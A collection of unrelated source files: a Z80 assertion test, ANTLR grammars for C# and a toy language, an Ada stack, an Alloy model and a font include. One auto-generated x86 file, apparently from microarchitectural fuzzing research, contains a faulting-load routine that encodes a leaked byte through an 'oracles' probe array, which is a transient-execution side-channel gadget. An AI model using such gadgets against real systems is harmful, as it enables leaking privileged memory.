<reponame>hallorant/bitmit org $7000 import '../z80unit.asm' s1 defb 'a test' s2 defb 'a test' s2ln equ $-s2 s3 defb 'foo bar' s4 defb 'foO bar' s4ln equ $-s4 ; Trys out z80unit block memory assertions. ; For each assert we do some passing and some failing calls. main: z80unit_test 'Passing assertMemString' assertMemString s1,'a test' assertMemString s1+2,'test' z80unit_test 'Failing assertMemString' assertMemString s1,'a*test','OK' assertMemString s1+2,'tes*' z80unit_test 'Passing assertMemEquals8' assertMemEquals8 s1,s2,6 assertMemEquals8 s1,s2,s2ln ld c,s2ln assertMemEquals8 s1,s2,c ld a,s2ln assertMemEquals8 s1,s2,a z80unit_test 'Failing assertMemEquals8' assertMemEquals16 s3,s4,s4ln,'OK' assertMemEquals16 s1,s2,150 z80unit_test 'Passing assertMemEquals16' assertMemEquals16 s1,s2,6 assertMemEquals16 s1,s2,s2ln ld l,6 ld h,0 assertMemEquals16 s1,s2,hl assertMemEquals16 s1,s2,s2ln z80unit_test 'Failing assertMemEquals16' assertMemEquals16 s3,s4,s4ln,'OK' assertMemEquals16 s1,s2,1024 z80unit_end_and_exit end main
src/main/java/mastery/translator/cs/CSharpParser.g4
thufv/mastery
0
2673
/* Modified CSharpPaser.g4 v1.0: 1)Simplified the recursive level by removing and uniting some Expression grammar 2)The accepted capability of grammar is likely equal to the original CSharpPaser.g4 3)Use recursive nodes open rather than in just a node */ // Eclipse Public License - v 1.0, http://www.eclipse.org/legal/epl-v10.html // Copyright (c) 2013, <NAME> (<EMAIL>) // Copyright (c) 2016-2017, <NAME> (<EMAIL>), Positive Technologies. parser grammar CSharpParser; options { tokenVocab=CSharpLexer; } // entry point compilation_unit : BYTE_ORDER_MARK? extern_alias_directives? using_directives? global_attribute_section* namespace_member_declarations? EOF ; //B.2 Syntactic grammar //B.2.1 Basic concepts namespace_or_type_name : (identifier type_argument_list? | qualified_alias_member) ('.' identifier type_argument_list?)* ; //B.2.2 Types type : base_type ('?' | rank_specifier | '*')* ; base_type : simple_type | class_type // represents types: enum, class, interface, delegate, type_parameter | VOID '*' ; simple_type : numeric_type | BOOL ; numeric_type : integral_type | floating_point_type | DECIMAL ; integral_type : SBYTE | BYTE | SHORT | USHORT | INT | UINT | LONG | ULONG | CHAR ; floating_point_type : FLOAT | DOUBLE ; /** namespace_or_type_name, OBJECT, STRING */ class_type : namespace_or_type_name | OBJECT | DYNAMIC | STRING ; type_argument_list : '<' type ( ',' type)* '>' ; //B.2.4 Expressions argument_list : argument ( ',' argument)* ; argument : (identifier ':')? refout=(REF | OUT)? (VAR | type)? expression ; expression // non_assignment_expression // lambda_expression : ASYNC? anonymous_function_signature right_arrow anonymous_function_body // query_expression | from_clause query_body // unary_expression | unary_expression // multiplicative_expression | expression ('*' | '/' | '%') expression // additive_expression | expression ('+' | '-') expression // shift_expression | expression ('<<' | right_shift) expression // relational_expression | expression (('<' | '>' | '<=' | '>=') expression | IS isType | AS type) // equality_expression | expression (OP_EQ | OP_NE) expression // and_expression | expression '&' expression // exclusive_or_expression | expression '^' expression // inclusive_or_expression | expression '|' expression // conditional_and_expression | expression OP_AND expression // conditional_or_expression | expression OP_OR expression // null_coalescing_expression | <assoc=right> expression '??' expression // conditional_expression | <assoc=right> expression '?' expression ':' expression // assignment | unary_expression assignment_operator expression ; assignment_operator : '=' | '+=' | '-=' | '*=' | '/=' | '%=' | '&=' | '|=' | '^=' | '<<=' | right_shift_assignment ; // https://msdn.microsoft.com/library/6a71f45d(v=vs.110).aspx unary_expression //primary_expression // Null-conditional operators C# 6: https://msdn.microsoft.com/en-us/library/dn986595.aspx // inside: bracket_expression is replaced by ('?'? '[' indexer_argument ( ',' indexer_argument)* ']') : pe=primary_expression_start ('?'? '[' indexer_argument ( ',' indexer_argument)* ']')* ((member_access | method_invocation | '++' | '--' | '->' identifier) ('?'? '[' indexer_argument ( ',' indexer_argument)* ']')*)* | '+' unary_expression | '-' unary_expression | BANG unary_expression | '~' unary_expression | '++' unary_expression | '--' unary_expression | OPEN_PARENS type CLOSE_PARENS unary_expression | AWAIT unary_expression // C# 5 | '&' unary_expression | '*' unary_expression ; primary_expression_start : literal #literalExpression | identifier type_argument_list? #simpleNameExpression | OPEN_PARENS expression CLOSE_PARENS #parenthesisExpressions | predefined_type #memberAccessExpression | qualified_alias_member #memberAccessExpression | LITERAL_ACCESS #literalAccessExpression | THIS #thisReferenceExpression | BASE ('.' identifier type_argument_list? | '[' expression_list ']') #baseAccessExpression | NEW (type (object_creation_expression | object_or_collection_initializer | '[' expression_list ']' rank_specifier* array_initializer? | rank_specifier+ array_initializer) | anonymous_object_initializer | rank_specifier array_initializer) #objectCreationExpression | TYPEOF OPEN_PARENS (unbound_type_name | type | VOID) CLOSE_PARENS #typeofExpression | CHECKED OPEN_PARENS expression CLOSE_PARENS #checkedExpression | UNCHECKED OPEN_PARENS expression CLOSE_PARENS #uncheckedExpression | DEFAULT OPEN_PARENS type CLOSE_PARENS #defaultValueExpression | ASYNC? DELEGATE (OPEN_PARENS explicit_anonymous_function_parameter_list? CLOSE_PARENS)? block #anonymousMethodExpression | SIZEOF OPEN_PARENS type CLOSE_PARENS #sizeofExpression // C# 6: https://msdn.microsoft.com/en-us/library/dn986596.aspx | NAMEOF OPEN_PARENS (identifier '.')* identifier CLOSE_PARENS #nameofExpression ; member_access : '?'? '.' identifier type_argument_list? ; indexer_argument : (identifier ':')? expression ; predefined_type : BOOL | BYTE | CHAR | DECIMAL | DOUBLE | FLOAT | INT | LONG | OBJECT | SBYTE | SHORT | STRING | UINT | ULONG | USHORT ; expression_list : expression (',' expression)* ; object_or_collection_initializer : object_initializer | collection_initializer ; object_initializer : OPEN_BRACE (member_initializer_list ','?)? CLOSE_BRACE ; member_initializer_list : member_initializer (',' member_initializer)* ; member_initializer : (identifier | '[' expression ']') '=' initializer_value // C# 6 ; initializer_value : expression | object_or_collection_initializer ; collection_initializer : OPEN_BRACE element_initializer (',' element_initializer)* ','? CLOSE_BRACE ; element_initializer // non_assignment_expression // lambda_expression : ASYNC? anonymous_function_signature right_arrow anonymous_function_body // query_expression | from_clause query_body // conditional_expression | <assoc=right> expression ('?' expression ':' expression)? | OPEN_BRACE expression_list CLOSE_BRACE ; anonymous_object_initializer : OPEN_BRACE (member_declarator_list ','?)? CLOSE_BRACE ; member_declarator_list : member_declarator ( ',' member_declarator)* ; member_declarator //primary_expression // Null-conditional operators C# 6: https://msdn.microsoft.com/en-us/library/dn986595.aspx // inside: bracket_expression is replaced by ('?'? '[' indexer_argument ( ',' indexer_argument)* ']') : pe=primary_expression_start ('?'? '[' indexer_argument ( ',' indexer_argument)* ']')* ((member_access | method_invocation | '++' | '--' | '->' identifier) ('?'? '[' indexer_argument ( ',' indexer_argument)* ']')*)* | identifier '=' expression ; unbound_type_name : identifier ( generic_dimension_specifier? | '::' identifier generic_dimension_specifier?) ('.' identifier generic_dimension_specifier?)* ; generic_dimension_specifier : '<' ','* '>' ; isType : base_type (rank_specifier | '*')* '?'? ; anonymous_function_signature : OPEN_PARENS CLOSE_PARENS | OPEN_PARENS explicit_anonymous_function_parameter_list CLOSE_PARENS | OPEN_PARENS implicit_anonymous_function_parameter_list CLOSE_PARENS | identifier ; explicit_anonymous_function_parameter_list : explicit_anonymous_function_parameter ( ',' explicit_anonymous_function_parameter)* ; explicit_anonymous_function_parameter : refout=(REF | OUT)? type identifier ; implicit_anonymous_function_parameter_list : identifier (',' identifier)* ; anonymous_function_body : expression | block ; from_clause : FROM type? identifier IN expression ; query_body : query_body_clause* select_or_group_clause query_continuation? ; query_body_clause : from_clause | let_clause | where_clause | combined_join_clause | orderby_clause ; let_clause : LET identifier '=' expression ; where_clause : WHERE expression ; combined_join_clause : JOIN type? identifier IN expression ON expression EQUALS expression (INTO identifier)? ; orderby_clause : ORDERBY ordering (',' ordering)* ; ordering : expression dir=(ASCENDING | DESCENDING)? ; select_or_group_clause : SELECT expression | GROUP expression BY expression ; query_continuation : INTO identifier query_body ; //B.2.5 Statements statement : labeled_Statement #labeledStatement | (local_variable_declaration | local_constant_declaration) ';' #declarationStatement | embedded_statement #embeddedStatement ; labeled_Statement : identifier ':' statement ; embedded_statement : block | simple_embedded_statement ; simple_embedded_statement : ';' #emptyStatement | expression ';' #expressionStatement // selection statements | IF OPEN_PARENS expression CLOSE_PARENS if_body (ELSE if_body)? #ifStatement | SWITCH OPEN_PARENS expression CLOSE_PARENS OPEN_BRACE switch_section* CLOSE_BRACE #switchStatement // iteration statements | WHILE OPEN_PARENS expression CLOSE_PARENS embedded_statement #whileStatement | DO embedded_statement WHILE OPEN_PARENS expression CLOSE_PARENS ';' #doStatement | FOR OPEN_PARENS for_initializer? ';' expression? ';' for_iterator? CLOSE_PARENS embedded_statement #forStatement | FOREACH OPEN_PARENS local_variable_type identifier IN expression CLOSE_PARENS embedded_statement #foreachStatement // jump statements | BREAK ';' #breakStatement | CONTINUE ';' #continueStatement | GOTO (identifier | CASE expression | DEFAULT) ';' #gotoStatement | RETURN expression? ';' #returnStatement | THROW expression? ';' #throwStatement | TRY block (catch_clauses finally_clause? | finally_clause) #tryStatement | CHECKED block #checkedStatement | UNCHECKED block #uncheckedStatement | LOCK OPEN_PARENS expression CLOSE_PARENS embedded_statement #lockStatement | USING OPEN_PARENS resource_acquisition CLOSE_PARENS embedded_statement #usingStatement | YIELD (RETURN expression | BREAK) ';' #yieldStatement // unsafe statements | UNSAFE block #unsafeStatement | FIXED OPEN_PARENS pointer_type fixed_pointer_declarators CLOSE_PARENS embedded_statement #fixedStatement ; block : OPEN_BRACE statement_list? CLOSE_BRACE ; local_variable_declaration : local_variable_type local_variable_declarator ( ',' local_variable_declarator)* ; local_variable_type : VAR | type ; local_variable_declarator : identifier ('=' local_variable_initializer)? ; local_variable_initializer : expression | array_initializer | local_variable_initializer_unsafe ; local_constant_declaration : CONST type constant_declarators ; if_body : block | simple_embedded_statement ; switch_section : switch_label+ statement_list ; switch_label : CASE expression ':' | DEFAULT ':' ; statement_list : statement+ ; for_initializer : local_variable_declaration | expression (',' expression)* ; for_iterator : expression (',' expression)* ; catch_clauses : specific_catch_clause (specific_catch_clause)* general_catch_clause? | general_catch_clause ; specific_catch_clause : CATCH OPEN_PARENS class_type identifier? CLOSE_PARENS exception_filter? block ; general_catch_clause : CATCH exception_filter? block ; exception_filter // C# 6 : WHEN OPEN_PARENS expression CLOSE_PARENS ; finally_clause : FINALLY block ; resource_acquisition : local_variable_declaration | expression ; //B.2.6 Namespaces; namespace_declaration : NAMESPACE qi=qualified_identifier namespace_body ';'? ; qualified_identifier : identifier ( '.' identifier )* ; namespace_body : OPEN_BRACE extern_alias_directives? using_directives? namespace_member_declarations? CLOSE_BRACE ; extern_alias_directives : extern_alias_directive+ ; extern_alias_directive : EXTERN ALIAS identifier ';' ; using_directives : using_directive+ ; using_directive : USING identifier '=' namespace_or_type_name ';' #usingAliasDirective | USING namespace_or_type_name ';' #usingNamespaceDirective // C# 6: https://msdn.microsoft.com/en-us/library/ms228593.aspx | USING STATIC namespace_or_type_name ';' #usingStaticDirective ; namespace_member_declarations : namespace_member_declaration+ ; namespace_member_declaration : namespace_declaration | type_declaration ; type_declaration : attributes? all_member_modifiers? (class_definition | struct_definition | interface_definition | enum_definition | delegate_definition) ; qualified_alias_member : identifier '::' identifier type_argument_list? ; //B.2.7 Classes; type_parameter_list : '<' type_parameter (',' type_parameter)* '>' ; type_parameter : attributes? identifier ; class_base : ':' class_type (',' namespace_or_type_name)* ; interface_type_list : namespace_or_type_name (',' namespace_or_type_name)* ; type_parameter_constraints_clauses : type_parameter_constraints_clause+ ; type_parameter_constraints_clause : WHERE identifier ':' type_parameter_constraints ; type_parameter_constraints : constructor_constraint | primary_constraint (',' secondary_constraints)? (',' constructor_constraint)? ; primary_constraint : class_type | CLASS | STRUCT ; // namespace_or_type_name includes identifier secondary_constraints : namespace_or_type_name (',' namespace_or_type_name)* ; constructor_constraint : NEW OPEN_PARENS CLOSE_PARENS ; class_body : OPEN_BRACE class_member_declarations? CLOSE_BRACE ; class_member_declarations : class_member_declaration+ ; class_member_declaration : attributes? all_member_modifiers? (common_member_declaration | destructor_definition) ; all_member_modifiers : all_member_modifier+ ; all_member_modifier : NEW | PUBLIC | PROTECTED | INTERNAL | PRIVATE | READONLY | VOLATILE | VIRTUAL | SEALED | OVERRIDE | ABSTRACT | STATIC | UNSAFE | EXTERN | PARTIAL | ASYNC // C# 5 ; // represents the intersection of struct_member_declaration and class_member_declaration common_member_declaration : constant_declaration | type ( namespace_or_type_name '.' indexer_declaration | method_member_name type_parameter_list? OPEN_PARENS formal_parameter_list? CLOSE_PARENS type_parameter_constraints_clauses? (method_body | right_arrow expression ';') | property_declaration | indexer_declaration | operator_declaration | field_declaration ) | event_declaration | conversion_operator_declarator (body | right_arrow expression ';') // C# 6 | constructor_declaration | VOID method_member_name type_parameter_list? OPEN_PARENS formal_parameter_list? CLOSE_PARENS type_parameter_constraints_clauses? (method_body | right_arrow expression ';') | class_definition | struct_definition | interface_definition | enum_definition | delegate_definition ; constant_declarators : constant_declarator (',' constant_declarator)* ; constant_declarator : identifier '=' expression ; variable_declarators : variable_declarator (',' variable_declarator)* ; variable_declarator : identifier ('=' variable_initializer)? ; variable_initializer : expression | array_initializer ; return_type : type | VOID ; member_name : namespace_or_type_name ; method_body : block | ';' ; formal_parameter_list : parameter_array | fixed_parameters (',' parameter_array)? ; fixed_parameters : fixed_parameter ( ',' fixed_parameter )* ; fixed_parameter : attributes? parameter_modifier? arg_declaration | ARGLIST ; parameter_modifier : REF | OUT | THIS ; parameter_array : attributes? PARAMS array_type identifier ; accessor_declarations : attrs=attributes? mods=accessor_modifier? (GET accessor_body set_accessor_declaration? | SET accessor_body get_accessor_declaration?) ; get_accessor_declaration : attributes? accessor_modifier? GET accessor_body ; set_accessor_declaration : attributes? accessor_modifier? SET accessor_body ; accessor_modifier : PROTECTED | INTERNAL | PRIVATE | PROTECTED INTERNAL | INTERNAL PROTECTED ; accessor_body : block | ';' ; event_accessor_declarations : attributes? (ADD block remove_accessor_declaration | REMOVE block add_accessor_declaration) ; add_accessor_declaration : attributes? ADD block ; remove_accessor_declaration : attributes? REMOVE block ; overloadable_operator : '+' | '-' | BANG | '~' | '++' | '--' | TRUE | FALSE | '*' | '/' | '%' | '&' | '|' | '^' | '<<' | right_shift | OP_EQ | OP_NE | '>' | '<' | '>=' | '<=' ; conversion_operator_declarator : (IMPLICIT | EXPLICIT) OPERATOR type OPEN_PARENS arg_declaration CLOSE_PARENS ; constructor_initializer : ':' (BASE | THIS) OPEN_PARENS argument_list? CLOSE_PARENS ; body : block | ';' ; //B.2.8 Structs struct_interfaces : ':' interface_type_list ; struct_body : OPEN_BRACE struct_member_declaration* CLOSE_BRACE ; struct_member_declaration : attributes? all_member_modifiers? (common_member_declaration | FIXED type fixed_size_buffer_declarator+ ';') ; //B.2.9 Arrays array_type : base_type (('*' | '?')* rank_specifier)+ ; rank_specifier : '[' ','* ']' ; array_initializer : OPEN_BRACE (variable_initializer (',' variable_initializer)* ','?)? CLOSE_BRACE ; //B.2.10 Interfaces variant_type_parameter_list : '<' variant_type_parameter (',' variant_type_parameter)* '>' ; variant_type_parameter : attributes? variance_annotation? identifier ; variance_annotation : IN | OUT ; interface_base : ':' interface_type_list ; interface_body : OPEN_BRACE interface_member_declaration* CLOSE_BRACE ; interface_member_declaration : attributes? NEW? (UNSAFE? type ( identifier type_parameter_list? OPEN_PARENS formal_parameter_list? CLOSE_PARENS type_parameter_constraints_clauses? ';' | identifier OPEN_BRACE interface_accessors CLOSE_BRACE | THIS '[' formal_parameter_list ']' OPEN_BRACE interface_accessors CLOSE_BRACE) | UNSAFE? VOID identifier type_parameter_list? OPEN_PARENS formal_parameter_list? CLOSE_PARENS type_parameter_constraints_clauses? ';' | EVENT type identifier ';') ; interface_accessors : attributes? (GET ';' (attributes? SET ';')? | SET ';' (attributes? GET ';')?) ; //B.2.11 Enums enum_base : ':' type ; enum_body : OPEN_BRACE (enum_member_declaration (',' enum_member_declaration)* ','?)? CLOSE_BRACE ; enum_member_declaration : attributes? identifier ('=' expression)? ; //B.2.12 Delegates //B.2.13 Attributes global_attribute_section : '[' global_attribute_target ':' attribute_list ','? ']' ; global_attribute_target : keyword | identifier ; attributes : attribute_section+ ; attribute_section : '[' (attribute_target ':')? attribute_list ','? ']' ; attribute_target : keyword | identifier ; attribute_list : attribute (',' attribute)* ; attribute : namespace_or_type_name (OPEN_PARENS (attribute_argument (',' attribute_argument)*)? CLOSE_PARENS)? ; attribute_argument : (identifier ':')? expression ; //B.3 Grammar extensions for unsafe code pointer_type : (simple_type | class_type) (rank_specifier | '?')* '*' | VOID '*' ; fixed_pointer_declarators : fixed_pointer_declarator (',' fixed_pointer_declarator)* ; fixed_pointer_declarator : identifier '=' fixed_pointer_initializer ; fixed_pointer_initializer : '&'? expression | local_variable_initializer_unsafe ; fixed_size_buffer_declarator : identifier '[' expression ']' ; local_variable_initializer_unsafe : STACKALLOC type '[' expression ']' ; right_arrow : first='=' second='>' {$first.index + 1 == $second.index}? // Nothing between the tokens? ; right_shift : first='>' second='>' {$first.index + 1 == $second.index}? // Nothing between the tokens? ; right_shift_assignment : first='>' second='>=' {$first.index + 1 == $second.index}? // Nothing between the tokens? ; literal : boolean_literal | string_literal | INTEGER_LITERAL | HEX_INTEGER_LITERAL | REAL_LITERAL | CHARACTER_LITERAL | NULL ; boolean_literal : TRUE | FALSE ; string_literal : interpolated_regular_string | interpolated_verbatium_string | REGULAR_STRING | VERBATIUM_STRING ; interpolated_regular_string : INTERPOLATED_REGULAR_STRING_START interpolated_regular_string_part* DOUBLE_QUOTE_INSIDE ; interpolated_verbatium_string : INTERPOLATED_VERBATIUM_STRING_START interpolated_verbatium_string_part* DOUBLE_QUOTE_INSIDE ; interpolated_regular_string_part : interpolated_string_expression | DOUBLE_CURLY_INSIDE | REGULAR_CHAR_INSIDE | REGULAR_STRING_INSIDE ; interpolated_verbatium_string_part : interpolated_string_expression | DOUBLE_CURLY_INSIDE | VERBATIUM_DOUBLE_QUOTE_INSIDE | VERBATIUM_INSIDE_STRING ; interpolated_string_expression : expression (',' expression)* (':' FORMAT_STRING+)? ; //B.1.7 Keywords keyword : ABSTRACT | AS | BASE | BOOL | BREAK | BYTE | CASE | CATCH | CHAR | CHECKED | CLASS | CONST | CONTINUE | DECIMAL | DEFAULT | DELEGATE | DO | DOUBLE | ELSE | ENUM | EVENT | EXPLICIT | EXTERN | FALSE | FINALLY | FIXED | FLOAT | FOR | FOREACH | GOTO | IF | IMPLICIT | IN | INT | INTERFACE | INTERNAL | IS | LOCK | LONG | NAMESPACE | NEW | NULL | OBJECT | OPERATOR | OUT | OVERRIDE | PARAMS | PRIVATE | PROTECTED | PUBLIC | READONLY | REF | RETURN | SBYTE | SEALED | SHORT | SIZEOF | STACKALLOC | STATIC | STRING | STRUCT | SWITCH | THIS | THROW | TRUE | TRY | TYPEOF | UINT | ULONG | UNCHECKED | UNSAFE | USHORT | USING | VIRTUAL | VOID | VOLATILE | WHILE ; // -------------------- extra rules for modularization -------------------------------- class_definition : CLASS identifier type_parameter_list? class_base? type_parameter_constraints_clauses? class_body ';'? ; struct_definition : STRUCT identifier type_parameter_list? struct_interfaces? type_parameter_constraints_clauses? struct_body ';'? ; interface_definition : INTERFACE identifier variant_type_parameter_list? interface_base? type_parameter_constraints_clauses? interface_body ';'? ; enum_definition : ENUM identifier enum_base? enum_body ';'? ; delegate_definition : DELEGATE return_type identifier variant_type_parameter_list? OPEN_PARENS formal_parameter_list? CLOSE_PARENS type_parameter_constraints_clauses? ';' ; event_declaration : EVENT type (variable_declarators ';' | member_name OPEN_BRACE event_accessor_declarations CLOSE_BRACE) ; field_declaration : variable_declarators ';' ; property_declaration // Property initializer & lambda in properties C# 6 : member_name (OPEN_BRACE accessor_declarations CLOSE_BRACE ('=' variable_initializer ';')? | right_arrow expression ';') ; constant_declaration : CONST type constant_declarators ';' ; indexer_declaration // lamdas from C# 6 : THIS '[' formal_parameter_list ']' (OPEN_BRACE accessor_declarations CLOSE_BRACE | right_arrow expression ';') ; destructor_definition : '~' identifier OPEN_PARENS CLOSE_PARENS body ; constructor_declaration : identifier OPEN_PARENS formal_parameter_list? CLOSE_PARENS constructor_initializer? body ; method_member_name : (identifier | identifier '::' identifier) (type_argument_list? '.' identifier)* ; operator_declaration // lamdas form C# 6 : OPERATOR overloadable_operator OPEN_PARENS arg_declaration (',' arg_declaration)? CLOSE_PARENS (body | right_arrow expression ';') ; arg_declaration : type identifier ('=' expression)? ; method_invocation : OPEN_PARENS argument_list? CLOSE_PARENS ; object_creation_expression : OPEN_PARENS argument_list? CLOSE_PARENS object_or_collection_initializer? ; identifier : IDENTIFIER | ADD | ALIAS | ARGLIST | ASCENDING | ASYNC | AWAIT | BY | DESCENDING | DYNAMIC | EQUALS | FROM | GET | GROUP | INTO | JOIN | LET | NAMEOF | ON | ORDERBY | PARTIAL | REMOVE | SELECT | SET | VAR | WHEN | WHERE | YIELD ;
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1580.asm
ljhsiun2/medusa
9
29127
<filename>Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1580.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x45c4, %rsi lea addresses_D_ht+0x1a80c, %rdi nop nop nop nop nop inc %r12 mov $21, %rcx rep movsb add $1115, %r9 lea addresses_normal_ht+0x19cc4, %rsi lea addresses_A_ht+0x12dc4, %rdi clflush (%rsi) nop xor $61570, %r8 mov $98, %rcx rep movsw nop add %rcx, %rcx lea addresses_A_ht+0x196c4, %rsi lea addresses_D_ht+0x7c4, %rdi nop nop nop xor $17330, %rbx mov $13, %rcx rep movsl nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rax push %rcx // Faulty Load lea addresses_WT+0xf9c4, %r14 nop nop nop nop nop inc %rcx mov (%r14), %r13w lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Programmer/_ff_ao_Programmer.asm
jpoikela/z88dk
640
165235
SECTION rodata_font SECTION rodata_font_fzx PUBLIC _ff_ao_Programmer _ff_ao_Programmer: BINARY "font/fzx/fonts/ao/Programmer/Programmer.fzx"
stack/stack.adb
zorodc/true-libs
0
29856
<gh_stars>0 pragma SPARK_Mode(On); package body Stack is function Top (S : in Stack) return Thing is (S.Elements (S.Quantity)); procedure Pop (S : in out Stack) is begin S.Quantity := S.Quantity - 1; end Pop; procedure Put (S : in out Stack; E : Thing) is begin S.Quantity := S.Quantity + 1; S.Elements (S.Quantity) := E; end Put; end Stack;
alloy4fun_models/trashltl/models/4/E3JDhmoNQjSeuunz9.als
Kaixi26/org.alloytools.alloy
0
4949
<reponame>Kaixi26/org.alloytools.alloy<filename>alloy4fun_models/trashltl/models/4/E3JDhmoNQjSeuunz9.als open main pred idE3JDhmoNQjSeuunz9_prop5 { some f : File | eventually f not in File } pred __repair { idE3JDhmoNQjSeuunz9_prop5 } check __repair { idE3JDhmoNQjSeuunz9_prop5 <=> prop5o }
Grammar/FreedomLessLess.g4
joaovicentesouto/INE5426
0
4541
<reponame>joaovicentesouto/INE5426 grammar FreedomLessLess; program_def: (attribute_def SEMICOLON)* function_def* class_def* main_def ; class_def: CLASS ID OPEN_KEY class_members_def CLOSE_KEY ; class_members_def: private_def | public_def private_def? ; public_def: PUBLIC class_scope_def ; private_def: PRIVATE class_scope_def ; class_scope_def: (attribute_def SEMICOLON)* function_def* ; attribute_def: type_def ID (ASSIGN valued_expression_def)? (COMMA ID (ASSIGN valued_expression_def)?)* | type_def ID OPEN_BRAK INT CLOSE_BRAK (ASSIGN valued_expression_def)? (COMMA ID OPEN_BRAK INT CLOSE_BRAK (ASSIGN valued_expression_def)?)* | type_def MULT ID (ASSIGN valued_expression_def)? (COMMA MULT ID (ASSIGN valued_expression_def)?)* ; valued_expression_def: value_def operation| function_call_def operation | (MULT | REF) OPEN_PAR valued_expression_def CLOSE_PAR operation | ID (((ASSIGN | auto_assign_op) valued_expression_def) | auto_increm_op | OPEN_BRAK INT CLOSE_BRAK )? operation ; operation: ((logical_op | arithmetic_op) valued_expression_def)* ; function_call_def: DELETE ID | FREE OPEN_PAR ID CLOSE_PAR | NEW ID OPEN_PAR argument_def? CLOSE_PAR | MALLOC OPEN_PAR valued_expression_def CLOSE_PAR | SIZEOF OPEN_PAR type_def (MULT | OPEN_BRAK INT CLOSE_BRAK)? CLOSE_PAR 